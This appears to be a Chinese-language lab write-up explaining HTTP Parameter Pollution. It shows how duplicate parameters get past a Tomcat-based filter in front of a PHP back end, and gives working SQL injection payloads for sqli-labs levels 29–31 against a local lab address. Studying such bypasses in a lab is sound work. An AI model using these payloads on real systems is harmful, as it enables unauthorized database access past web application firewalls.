HPP参数污染攻击
什么是HPP参数污染
HPP
是(Http Parameter Pollution)的简称。简单来说,有AB两台服务器,你访问的网站实际上是先通过A服务器进行数据过滤处理然后A将过滤好的数据传给B服务器,B再传给A,最后A传给你。所以过程是:User->A->B->A->User
因此,A在当中充当着WAF
的角色。 若想绕过A对参数的过滤,我们可以尝试直接请求B,因为A最终也是要请求B才能获得数据的。
那么我们可以利用不同服务器类型解析处理参数位置的不同来完成攻击,这就是HPP。
假设A服务器是JSP/Tomcat
,B服务器是PHP/Apache
。当我们访问网站www.example.com/index.php?id=1&id=1
的时候,通过上图可知,A服务器是JSP/Tomcat
,只接收第一个参数,而B服务器是PHP/Apache
,接收最后一个参数。所以我们可以构造:www.example.com/index.php?id=1&id=-2 order by 3--+
sqli labs 第29关
当我们尝试注入时:
被拦截。
查看源码:
我们可以看到参数被检测了
1 | String rex = "^\\d+$";//正整数 |
那么我们可以通过HPP参数污染
绕过这个WAF
,观察发现PHP
代码是没有任何过滤的,我们构造代码:
http://192.168.120.128:8080/sqli-labs/Less-29/?id=1&id=-1' union select 1,2,3--+
接下来就可以继续注入了。
sqli labs 第30关
和29关相同,只是id加了引号
构造代码:
http://192.168.120.128:8080/sqli-labs/Less-30/?id=1&id=-1" union select 1,2,3--+
sqli labs 第31关
同上,id加了(“”)
构造代码:
http://192.168.120.128:8080/sqli-labs/Less-31/?id=1&id=-1") union select 1,2,3--+
总结
HPP参数污染攻击的应用还有很多很多,之后还需学习